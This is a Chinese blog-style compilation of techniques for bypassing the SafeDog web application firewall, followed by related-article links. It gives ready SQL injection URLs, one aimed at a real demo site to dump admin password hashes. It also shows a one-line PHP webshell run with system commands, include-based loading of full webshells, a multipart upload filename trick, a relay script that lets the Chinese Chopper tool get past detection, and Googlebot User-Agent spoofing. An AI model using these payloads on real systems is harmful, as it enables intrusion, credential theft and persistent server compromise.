绕过安全狗sql注入

http://demo.74cms.com/plus/ajax_common.php?act=hotwordquery=錦union+select+1,group_concat%28admin_name,0x3a,pwd,0x3a,pwd_hash%29,3+from+qs_admin%23 被拦截了,经过测试拦截的是select,那么把select换成/*!50000SeLect*/呢 然后提交 http://demo.7

被拦截了,经过测试拦截的是select,那么把select换成/*!50000SeLect*/呢

然后提交

http://demo.74cms.com/plus/ajax_common.php?act=hotword&query=%E9%8C%A6%27union+/*!50000SeLect*/+1,group_concat%28admin_name,0x3a,pwd,0x3a,pwd_hash%29,3+from+qs_admin%23

成功绕过

安全狗拦截webshell存在简单绕过

将大马写到一个txt文件里面,命名为dama.txt,再建一个文本文档,asp的就写入:<!--#include file="dama.txt"--> ,保存为X.asp,两个文件传同目录下,访问url/x.asp就是我们的大马了。
php的同样的原理,dama.txt,php文件写入:<?php require_once ("dama.txt"); ?> ,这样就可以绕过安全狗了。

详细说明:

将大马写到一个txt文件里面,命名为dama.txt,再建一个文本文档,asp的就写入:<!--#include file="dama.txt"--> ,保存为X.asp,两个文件传同目录下,访问url/x.asp就是我们的大马了。

php的同样的原理,dama.txt,php文件写入:<?php require_once ("dama.txt"); ?> ,这样就可以绕过安全狗了。

漏洞证明:

自定义UserAgent绕过安全狗

了网站SEO方法,默认情况下安全狗开启了搜索引擎爬虫白名单,在白名单里面的关键字都会自动放行,基于此特性,我们就可以找到绕过安全狗的方法了。

那么一般情况下网站是如何识别爬虫的呢? 通过浏览器的UserAgent,那么我们只需要更改掉自己浏览器的UserAgent就可以很好的绕过安全狗了。
?
各浏览器修改默认UserAgent的方法:
?

IE

修改IE的UserAgent需要编辑注册表。

"HKEY_CURRENT_USER"Software"Microsoft"Windows"CurrentVersion"Internet Settings"5.0"User Agent"Post Platform"

"HKEY_LOCAL_MACHINE"SOFTWARE"Microsoft"Windows"CurrentVersion"Internet Settings"User Agent"Post Platform"

"HKEY_LOCAL_MACHINE"SOFTWARE"Microsoft"Windows"CurrentVersion"Internet Settings"5.0"User Agent"Post Platform"

如要修改IE的UserAgent为FireFox的,可以这么做:

UserAgent的默认值改为"Firefox",同时在Post Platform下面新建字符串值"Firefox"="",注意修改后需重启IE。

FireFox

在地址栏输入"about:config",按下回车进入设置菜单。

找到"general.useragent.override",如果没有这一项,则点右键"新建"->"字符串",输入这个字符串。

将其值设为自己想要的UserAgent。【Googlebot/2.1 (+http://www.google.com/bot.html)】

Maxthon

工具栏"工具"->"遨游设置中心"->"高级选项",勾选"自定义 UserAgent 字符串",下面写上自己的UserAgent记可。保存设置后重启Maxthon生效。

Chrome

方法一:启动时加上参数:--user-agent="你自己的UserAgent"。

方法二:修改chrome.dll。把里面疑似UserAgent的字符串改为自己的。

Safari

菜单栏"Edit"->"Preferences"->"Advanced",勾选"Show Develop menu in menu bar"。

菜单栏会多出一项"Develop",通过里面的"User Agent"子菜单即可设置自己的UserAgent。

下面是实践过程:

环境介绍:

php注入点: http://172.16.15.56:88/base64.php?id=1

安全狗2.4正式版

默认情况下,UserAgent为

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0

访问注入点,发现是拦截状态,看下图:

更改UserAgent为 Googlebot/2.1 (+http://www.google.com/bot.html) 再次访问,发现已经绕过了,我们可以无视安全狗的存在了。

目前安全狗已经修复此漏洞,建议用户升级为最新的3.0版,尚未升级的用户请尽快升级。

参考网址:

全方位绕过安全狗

一、前言

安全狗是一款大家熟悉的服务器安全加固产品,据称已经拥有50W的用户量。最近经过一些研究,发现安全狗的一些防护功能,例如SQL注入、文件上传、防webshell等都可以被绕过,下面为大家一一介绍。

二、测试环境

本次测试环境为

中文版Win2003 SP2+PHP 5.3.28+Mysql 5.1.72

网站安全狗IIS版3.2.08417

三、SQL注入绕过

我们先写一个存在SQL注入漏洞的php:

<?
$uid = $_REQUEST['id'];
if(!$conn = @mysql_connect("localhost", "root", "123456"))
die('<font size=+1>An Error Occured</font><hr>unable to connect to the database.');
if(!@mysql_select_db("supe",$conn))
die("<font size=+1>An Error Occured</font><hr>unable to find it at database on your MySQL server.");
$text = "select * from supe_members where uid=".$uid;
$rs = mysql_query ($text,$conn);
while($rom = mysql_fetch_array($rs))
{
    echo $rom["username"];
}
?>

我用的是supesite的库,可以看到这里是有明显SQL注入漏洞的,当没有安全狗的时候可以成功注入:

当安装安全狗之后,注入语句会被拦截:

经过测试发现,安全狗这块的匹配正则应该是\s+and这类的,所以只要想办法去掉空格,用普通注释/**/是不行的,安全狗也防了这块。但是对内联注释/*!and*/这种不知道为什么安全狗没有拦截。

用下面语句成功绕过SQL注入过滤:

http://192.168.200.115/inj.php?id=1/*!and*/1=2/*!union*//*!select*/1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17

有人说只有POST才可以,但是我测试最新版本的安全狗GET注入也是可以用这种方法绕过的。

四、文件上传绕过

安全狗的防上传也是做在WEB层,即分析HTTP协议来防止上传,按照yuange说的安全是一个条件语句,这显然是不符合安全规范的,只检查HTTP并不能保证文件系统层上的问题。

假设有一个上传功能的php:

<?php
  if ($_FILES["file"]["error"] > 0)
    {
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
    }
  else
    {
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
      }
    }
?>
<html>
<body>
<form action="upload.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

然后在安全狗里设置禁止上传.php文件:

然后通过浏览器上传php会被拦截:

我们通过burp把上传的HTTP包抓下来,然后自己进行一下修改POST数据。经过了一些实验,直接说结果吧,当增加一处文件名和内容,让两个文件名不一致的时候,成功绕过了安全狗的防护,上传了php文件。原因是安全狗进行文件名匹配时候用的是第一个文件名test.jpg,是复合安全要求的,但是webserver在保存文件的时候却保存了第二个文件名test.php,也就是if(security_check(a)){do(b);},导致安全检查没有用,php文件已经成功上传了:

这样的上传数据可能是不符合RFC规范的,但是却达到了绕过拦截的目的。结论是每种安全检查一定要在对应的层次做检查,而不能想当然的在WEB层做系统层该做的事情。

五、一句话webshell绕过

对于攻击者来说,安全狗很烦人的一点就是传上去的webshell却不能执行。我们就来看看怎么绕过安全狗对一句话webshell的拦截。

首先要知道安全狗防webshell仍然是依靠文件特征+HTTP来判断,但webshell真正执行是在脚本层,检查的层次不对当然也是可以轻易绕过去的。因为php里面函数名都可以是变量,文件里哪还有特征啊,上传如下php:

<?php
$_REQUEST['a']($_REQUEST['b']);
?>

然后在浏览器里执行:

http://192.168.200.115/small.php?a=system&b=dir

成功执行了系统命令,当然也可以执行php代码:

http://192.168.200.115/small.php?a=assert&b=phpinfo();

六、菜刀绕过

测试发现这种一句话虽然可以成功执行,但是在菜刀里却不能用,而有些人非觉得这样的一句话麻烦,非要用菜刀。经分析安全狗对菜刀的HTTP请求做了拦截,菜刀的POST数据里面对eval数据做了base64编码,安全狗也就依靠对这些特征来拦截,因此要想正常使用菜刀,必须在本地做一个转发,先把有特征的数据转换。这个思路类似于对伪静态注入的本地转发。

首先在本地搭建WEB SERVER,然后写一个php转发程序:

<?php
$target="http://192.168.200.115/small.php";//这个就是前面那个一句话的地址
$poststr='';
$i=0;
foreach($_POST as $k=>$v)
{
  if(strstr($v, "base64_decode"))
  {
    $v=str_replace("base64_decode(","",$v);
    $v=str_replace("))",")",$v);
  }
  else
  {
    if($k==="z0")
      $v=base64_decode($v);
  }
  $pp=$k."=".urlencode($v);
  //echo($pp);
  if($i!=0)
  {
    $poststr=$poststr."&".$pp;
  }
  else
  {  
    $poststr=$pp;
  }
  $i=$i+1;
}
$ch = curl_init();
$curl_url = $target."?".$_SERVER['QUERY_STRING'];
curl_setopt($ch, CURLOPT_URL, $curl_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>

意思就是在本地先对eval数据进行base64解码,然后再POST到目标机器上去。在菜刀里设置URL为本地转发php脚本:

这样就可以使用菜刀来连接前面那个一句话马了:

这样就能用菜刀了,不过大家真的没必要执着于菜刀,向大家推荐一款更好的类似菜刀的工具Altman:

http://www.i0day.com/1725.html

它的最大特点是开源,这意味着像安全狗这种根据特征来拦截的,只要改改源代码把特征字符串改掉,就永远也无法拦截。当然改这个代码要你自己动手喽。

七、webshell大马绕过

一句话功能毕竟有限,想用大马怎么办?仍然是传统的include大法,传一个big.php内容如下:

<?php
include('logo.txt');
?>

然后再把大马上传为logo.txt,这样就成功绕过安全狗的拦截执行了webshell:

这样大马也顺利执行了。

八、结束语

上面从SQL注入、上传、webshell等几个方面绕过了安全狗的保护,有些绕过方法安全狗可能早就知道了,但是为什么一直没有补?很可能的原因是怕过滤太严格影响某些应用,在安全和通用性之间做取舍我认为是可以理解的,但是我觉得这也正是安全研究人员存在的价值所在。

绕过安全狗等一些WAF收集的更多相关文章

  1. 中转Webshell 绕过安全狗(一)

    前言 听说中国菜刀里有后门.抓包我是没有监测到异常数据包.为了以防万一,且更好使用中国菜刀硬杠安全狗.笔者收集了一下资料.无耻的copy大佬的源码,只是在大佬的基础上简单修改了一下,达到Webshel ...

  2. [WEB]绕过安全狗与360PHP一句话的编写

    00x01安全狗的确是让人很头痛,尤其是在上传一句话或者写入一句话的时候,会被安全狗拦截从而拿不下shell.当然,安全狗是最简单的一款waf,很容易就进行一个绕过.00x02对于绕过安全狗跟360, ...

  3. 中转Webshell 绕过安全狗(二)

    前言 在实践中转webshell绕过安全狗(一)中,在服务端和客户端均为php.某大佬提示并分享资源后,打算使用python完成中转.部分代码无耻copy. 客户端 本地127.0.0.1,安装pyt ...

  4. 从getwebshell到绕过安全狗云锁提权再到利用matasploit进服务器

    本文作者:i春秋签约作家——酷帥王子 一. 利用getwebshell篇 首先对目标站进行扫描,发现是asp的,直接扫出网站后台和默认数据库,下载解密登陆如图: 下面进后台发现有fckeditor,而 ...

  5. [11期]绕过安全狗、云锁等各大WAF注入,上传深入自动化Bypass攻击

    CDN       负载均衡.内容分发 解析漏洞一般在服务层      二进制,溢出,提权在系统层         渗透测试就是以上全部层 协议未正确解析 GET改POST   这叫参数污染 cook ...

  6. Mysql注入绕过安全狗

    转载请加原文链接:https://www.cnblogs.com/Yang34/p/12055052.html 微信公众号:信Yang安全.同步更新,欢迎关注.文末有二维码. 正好最近在搞注入,昨天现 ...

  7. sql注入绕过安全狗实战

    =绕过 like regexp(匹配)> < (测试安全狗 ><不可以绕过) 注释+换行(%0a作为垃圾数据填充) 联合查询绕过 探测出当union select 出现时会拦截 ...

  8. SQL注入原理及绕过安全狗

    1.什么是SQL注入攻击 SQL注入攻击指的是通过构造特殊的输入作为参数插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令 http://www.xxx.com/list. ...

  9. 分享PHP小马一枚,完美绕过安全狗检测。

    没做免杀之前,被狗咬死: 直接上代码: $p=realpath(dirname(__FILE__)."/../").$_POST["a"];$t=$_POST[ ...

随机推荐

  1. C++的引用本质上等同于C的指针

    本文给出一个很小的例子,通过反汇编后观察认为,C++的引用本质上等同于C的指针. o foo1.cpp v.s. foo2.cpp o 对foo1.cpp 和foo2.cpp进行编译 $ g++ -g ...

  2. 入门系列之在Nginx配置Gzip

    欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由小铁匠米兰的v 发表于云+社区专栏 简介 网站加载的速度取决于浏览器必须下载的所有文件的大小.减少要传输的文件的大小可以使网站不仅加载 ...

  3. 有向图和无向图的数组C++实现

    源码:https://github.com/cjy513203427/C_Program_Base/tree/master/55.%E5%9B%BE 结点类Noded.h 不需要存储索引 #pragm ...

  4. windows下查看 mysql二进制日志文件

    有时候需要将linux中的mysql从线上linux种down到windows查看,但是这种binlog日志是二进制的,应该怎么查看呢? 使用window上的mysqlbinlog.exe将其转码到另 ...

  5. 使用C#委托来实现异步编程

    最近在我参与的几个.Net项目中都有用到异步编程,作为一名.Net小白,很有必要好好地学习一下异步编程. 什么是异步编程 异步编程指的就是不用阻塞当前线程来等待任务的完成,而是将任务扔到线程池中去执行 ...

  6. Jquery UI Dialog 导致C#页面后台事件失效

    $(function () { dialog = $("#dialog-form").dialog({ autoOpen: false, height: 450, width: 5 ...

  7. Hive Join

    最近被朋友问到有关于Hive Join的问题,保守回答过后,来补充补充知识: Hive是基于Hadoop的一个数据仓库工具,可以将结构化的数据文件映射为一张数据库表,并提供类SQL查询功能. 一.Hi ...

  8. jquery对象与核心函数

    原生js入口函数与jQuery入口函数的区别 1.window.onload与document.ready在加载时间上的差异 document.ready会先触发,其次才是window.onload ...

  9. Jquery trigger 与 triggerHandler

    secying Jquery trigger与triggerHandler trigger: 在每一个匹配的元素上触发某类事件(即触发jQuery对象集合中每一个元素). 这个函数也会导致浏览器同名的 ...

  10. 360浏览器内核控制标签meta说明

    浏览器内核控制标签meta说明 背景介绍 由于众所周知的原因,国内的主流浏览器都是双核浏览器:基于Webkit的内核用于常用网站的高速浏览,基于IE的内核主要用于部分网银.政府.办公系统等网站的正常使 ...